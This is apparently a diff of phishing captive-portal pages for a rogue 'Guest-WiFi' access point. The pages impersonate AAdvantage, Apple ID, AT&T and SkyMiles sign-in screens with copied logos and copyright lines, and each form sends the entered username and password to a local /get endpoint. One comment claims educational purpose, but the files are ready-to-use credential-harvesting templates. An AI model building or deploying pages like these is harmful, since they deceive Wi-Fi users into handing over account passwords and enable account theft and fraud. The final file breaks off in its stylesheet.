color: #fff; color: #fff;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
cursor: pointer; cursor: pointer;
} }
@media screen and (max-width: 600px) { @media screen and (max-width: 600px) {
.container { .container {
margin: 10px; margin: 10px;
} }
.logo svg { .logo svg {
width: 70%; width: 70%;
} }
.input-field, .button { .input-field, .button {
max-width: 100%; max-width: 100%;
} }
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="logo"> <div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/> <path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/> <path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
</svg> </svg>
</div> </div>
<h1 class="title">Sign in</h1> <h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2> <h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET"> <form action="/get" id="email-form-step" method="GET">
<div class="form-group"> <div class="form-group">
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required> <input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required> <input class="input-field" name="password" type="password" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="button" type="submit">Sign In</button> <button class="button" type="submit">Sign In</button>
</div> </div>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+1 -1
View File
@@ -1 +1 @@
Guest-WiFi Guest-WiFi
+279 -279
View File
@@ -1,279 +1,279 @@
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official --> <!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
<!-- Edited and adapted by : Jules0835 for educational purposes --> <!-- Edited and adapted by : Jules0835 for educational purposes -->
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<title>Login - Apple</title> <title>Login - Apple</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<style> <style>
* { * {
box-sizing: border-box; box-sizing: border-box;
margin: 0; margin: 0;
padding: 0; padding: 0;
list-style: none; list-style: none;
text-decoration: none; text-decoration: none;
} }
body { body {
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif; font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #98989c; color: #98989c;
} }
header { header {
padding: 5px; padding: 5px;
margin: 10px; margin: 10px;
} }
header svg { header svg {
width: 25px; width: 25px;
height: 25px; height: 25px;
} }
.main { .main {
position: relative; position: relative;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-content: center; align-content: center;
align-items: center; align-items: center;
min-height: 85vh; min-height: 85vh;
} }
form { form {
width: 500px; width: 500px;
display: flex; display: flex;
flex-direction: column; flex-direction: column;
align-items: center; align-items: center;
} }
#sign h2 { #sign h2 {
text-align: center; text-align: center;
margin: 5px auto 0px; margin: 5px auto 0px;
font-size: 22px; font-size: 22px;
line-height: 1.47059; line-height: 1.47059;
font-weight: 400; font-weight: 400;
letter-spacing: -.022em; letter-spacing: -.022em;
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif; font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #656569; color: #656569;
} }
#inputText { #inputText {
margin: 5px 0 80px 0; margin: 5px 0 80px 0;
} }
#appleid { #appleid {
min-width: 350px; min-width: 350px;
padding: 20px; padding: 20px;
border: .5px solid #d2d2d7; border: .5px solid #d2d2d7;
border-radius: 10px; border-radius: 10px;
border-bottom-left-radius: 0; border-bottom-left-radius: 0;
border-bottom-right-radius: 0; border-bottom-right-radius: 0;
background-repeat: no-repeat; background-repeat: no-repeat;
background-position: calc(100% - 20px) center; background-position: calc(100% - 20px) center;
background-image: url('./input.svg'); background-image: url('./input.svg');
align-self: center; align-self: center;
background-size: 8%; background-size: 8%;
} }
#password { #password {
min-width: 350px; min-width: 350px;
padding: 20px; padding: 20px;
border: .5px solid #d2d2d7; border: .5px solid #d2d2d7;
border-radius: 10px; border-radius: 10px;
border-top-left-radius: 0; border-top-left-radius: 0;
border-top-right-radius: 0; border-top-right-radius: 0;
background-repeat: no-repeat; background-repeat: no-repeat;
background-position: calc(100% - 20px) center; background-position: calc(100% - 20px) center;
background-image: url('./input.svg'); background-image: url('./input.svg');
align-self: center; align-self: center;
background-size: 8%; background-size: 8%;
} }
input #appleid { input #appleid {
box-shadow: none; box-shadow: none;
outline: none; outline: none;
-moz-box-shadow: none; -moz-box-shadow: none;
-webkit-box-shadow: none; -webkit-box-shadow: none;
border-color: transparent; border-color: transparent;
} }
.input2 { .input2 {
text-align: center; text-align: center;
min-width: 180px; min-width: 180px;
border-bottom: .1px solid #d2d2d7; border-bottom: .1px solid #d2d2d7;
} }
.logo { .logo {
display: flex; display: flex;
justify-content: center; justify-content: center;
margin-top: -60px; margin-top: -60px;
margin-bottom: 20px; margin-bottom: 20px;
} }
.logo svg { .logo svg {
width: 8%; width: 8%;
height: auto; height: auto;
} }
#remember { #remember {
margin-right: 5px; margin-right: 5px;
margin-bottom: 20px; margin-bottom: 20px;
} }
#r2 { #r2 {
color: #656569; color: #656569;
} }
form h4 { form h4 {
margin-top: 1rem; margin-top: 1rem;
font-weight: 300; font-weight: 300;
} }
::placeholder { ::placeholder {
font-size: 16px; font-size: 16px;
/* font-family: Arial, sans-serif; */ /* font-family: Arial, sans-serif; */
} }
.bx { .bx {
color: #1975d1; color: #1975d1;
transform: rotate(45deg); transform: rotate(45deg);
} }
footer { footer {
position: absolute; position: absolute;
display: flex; display: flex;
width: 100%; width: 100%;
height: 65px; height: 65px;
padding: 20px; padding: 20px;
bottom: 0; bottom: 0;
margin-bottom: 0; margin-bottom: 0;
background-color: #f5f5f7; background-color: #f5f5f7;
} }
footer p { footer p {
font-size: 13px; font-size: 13px;
} }
footer p:nth-child(2) { footer p:nth-child(2) {
margin: 0 20px; margin: 0 20px;
} }
footer p:nth-child(3) { footer p:nth-child(3) {
padding-left: 20px; padding-left: 20px;
border-left: .5px solid #d2d2d7; border-left: .5px solid #d2d2d7;
} }
button { button {
background: none; background: none;
border: none; border: none;
padding: 0; padding: 0;
margin: 0; margin: 0;
font: inherit; font: inherit;
color: inherit; color: inherit;
cursor: pointer; cursor: pointer;
} }
@media screen and (max-width: 768px) { @media screen and (max-width: 768px) {
form { form {
width: 80%; width: 80%;
} }
#appleid, #appleid,
#password { #password {
min-width: 90%; min-width: 90%;
} }
} }
</style> </style>
</head> </head>
<body> <body>
<header> <header>
<div class="appleLogo"> <div class="appleLogo">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt" <svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet"> viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682 <path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470 -942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7 223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
-126 -14z" /> -126 -14z" />
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737 <path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70 -209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83 -488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863 -327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522 -2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529 171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200 -168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432 1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791 -332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89 158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
-679 131 -921 105z" /> -679 131 -921 105z" />
</g> </g>
</svg> </svg>
</div> </div>
</header> </header>
<div class="main"> <div class="main">
<form action="/get" id="email-form-step" method="GET"> <form action="/get" id="email-form-step" method="GET">
<div id="sign"> <div id="sign">
<h2>Sign in</h2> <h2>Sign in</h2>
<h2>Use your Apple ID to access the Wi-Fi</h2> <h2>Use your Apple ID to access the Wi-Fi</h2>
</div> </div>
<div class="input" id="inputText"> <div class="input" id="inputText">
<div> <div>
<input type="email" name="email" placeholder="Apple ID" id="appleid" required> <input type="email" name="email" placeholder="Apple ID" id="appleid" required>
</div> </div>
<div> <div>
<input type="password" name="password" placeholder="Password" id="password" required> <input type="password" name="password" placeholder="Password" id="password" required>
</div> </div>
</div> </div>
<div class="logo"> <div class="logo">
<button class="button" type="submit"> <button class="button" type="submit">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt" <svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet"> viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000" <g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
stroke="none"> stroke="none">
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594 <path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31 -662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220 -550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45 412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194 498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460 477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475 -489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212 34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465 -1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
465 1108 699 1760 639z" /> 465 1108 699 1760 639z" />
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15 <path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97 168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341 -90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90 -340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159 132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" /> -15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
</g> </g>
</svg> </svg>
</button> </button>
</div> </div>
<div class="input2"> <div class="input2">
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label> <input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
</div> </div>
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4> <h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i <h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
class='bx bx-up-arrow-alt'></i></span></h4> class='bx bx-up-arrow-alt'></i></span></h4>
</form> </form>
</div> </div>
<footer> <footer>
<p>Copyright &copy 2023 Apple Inc. All rights reserved.</p> <p>Copyright &copy 2023 Apple Inc. All rights reserved.</p>
<p>Privacy Policy</p> <p>Privacy Policy</p>
<p>Terms of Use</p> <p>Terms of Use</p>
</footer> </footer>
</body> </body>
</html> </html>
+93 -93
View File
@@ -1,94 +1,94 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #00A8E0; background-color: #00A8E0;
} }
.container { .container {
max-width: 400px; max-width: 400px;
margin: auto; margin: auto;
background-color: white; background-color: white;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
} }
#logo { #logo {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
h1 { h1 {
text-align: center; text-align: center;
font-size: 24px; font-size: 24px;
font-weight: 300; font-weight: 300;
margin-top: 0; margin-top: 0;
} }
h2 { h2 {
text-align: center; text-align: center;
font-size: 16px; font-size: 16px;
font-weight: 200; font-weight: 200;
color: #888; color: #888;
margin-top: 5px; margin-top: 5px;
} }
input { input {
width: 100%; width: 100%;
padding: 12px; padding: 12px;
border: 1px solid #ccc; border: 1px solid #ccc;
border-radius: 5px; border-radius: 5px;
box-sizing: border-box; box-sizing: border-box;
margin-top: 10px; margin-top: 10px;
font-size: 16px; font-size: 16px;
} }
button { button {
background-color: #00A8E0; background-color: #00A8E0;
color: white; color: white;
padding: 14px 20px; padding: 14px 20px;
margin: 8px 0; margin: 8px 0;
border: none; border: none;
cursor: pointer; cursor: pointer;
width: 100%; width: 100%;
font-size: 16px; font-size: 16px;
} }
button:hover { button:hover {
background-color: #0081b8; background-color: #0081b8;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div id="logo"> <div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/> <path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/> <path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
</svg> </svg>
</div> </div>
<h1>Sign in</h1> <h1>Sign in</h1>
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2> <h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
<form action="/get"> <form action="/get">
<input type="text" name="email" placeholder="Email or Phone Number" required> <input type="text" name="email" placeholder="Email or Phone Number" required>
<input type="password" name="password" placeholder="Password" required> <input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button> <button type="submit">Sign In</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+115 -115
View File
@@ -1,115 +1,115 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: 'Arial', sans-serif; font-family: 'Arial', sans-serif;
margin: 0; margin: 0;
padding: 0; padding: 0;
background-color: #f3f3f3; background-color: #f3f3f3;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
min-height: 100vh; min-height: 100vh;
} }
.container { .container {
max-width: 500px; max-width: 500px;
padding: 20px; padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff; background: #fff;
border-radius: 8px; border-radius: 8px;
} }
.logo { .logo {
display: flex; display: flex;
justify-content: center; justify-content: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.logo svg { .logo svg {
width: 50%; width: 50%;
} }
.title, .sub-title { .title, .sub-title {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.form-group { .form-group {
margin-bottom: 20px; margin-bottom: 20px;
display: flex; display: flex;
justify-content: center; justify-content: center;
} }
.input-field { .input-field {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
padding: 10px; padding: 10px;
border-radius: 5px; border-radius: 5px;
border: 1px solid #ccc; border: 1px solid #ccc;
font-size: 16px; font-size: 16px;
} }
.button { .button {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
background-color: #003D79; background-color: #003D79;
color: #fff; color: #fff;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
cursor: pointer; cursor: pointer;
} }
@media screen and (max-width: 600px) { @media screen and (max-width: 600px) {
.container { .container {
margin: 10px; margin: 10px;
} }
.logo svg { .logo svg {
width: 70%; width: 70%;
} }
.input-field, .button { .input-field, .button {
max-width: 100%; max-width: 100%;
} }
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="logo"> <div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/> <path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/> <path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/> <path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/> <path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
</svg> </svg>
</div> </div>
<h1 class="title">Sign in</h1> <h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2> <h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET"> <form action="/get" id="email-form-step" method="GET">
<div class="form-group"> <div class="form-group">
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required> <input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required> <input class="input-field" name="password" type="password" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="button" type="submit">Sign In</button> <button class="button" type="submit">Sign In</button>
</div> </div>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+1 -1
View File
@@ -1 +1 @@
<HTML>HTMLINDEXFILE</HTML> <HTML>HTMLINDEXFILE</HTML>
+110 -110
View File
@@ -1,110 +1,110 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
margin: 0; margin: 0;
padding: 0; padding: 0;
background: #f9f9f9; background: #f9f9f9;
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
height: 100vh; height: 100vh;
} }
.container { .container {
background: #fff; background: #fff;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
box-shadow: 0 0 10px #999; box-shadow: 0 0 10px #999;
max-width: 400px; max-width: 400px;
} }
.logo { .logo {
text-align: center; text-align: center;
} }
svg { svg {
width: 80%; width: 80%;
} }
h1 { h1 {
font-size: 1.5rem; font-size: 1.5rem;
text-align: center; text-align: center;
margin: 20px 0; margin: 20px 0;
} }
.subtext { .subtext {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
font-size: 0.9rem; font-size: 0.9rem;
} }
.form-group { .form-group {
margin-bottom: 15px; margin-bottom: 15px;
display: flex; display: flex;
justify-content: center; justify-content: center;
} }
.form-control { .form-control {
width: 100%; width: 100%;
padding: 10px; padding: 10px;
border-radius: 5px; border-radius: 5px;
border: 1px solid #ddd; border: 1px solid #ddd;
font-size: 1rem; font-size: 1rem;
} }
button { button {
width: 100%; width: 100%;
padding: 10px; padding: 10px;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
background: #143f85; background: #143f85;
color: #fff; color: #fff;
font-size: 1.1rem; font-size: 1.1rem;
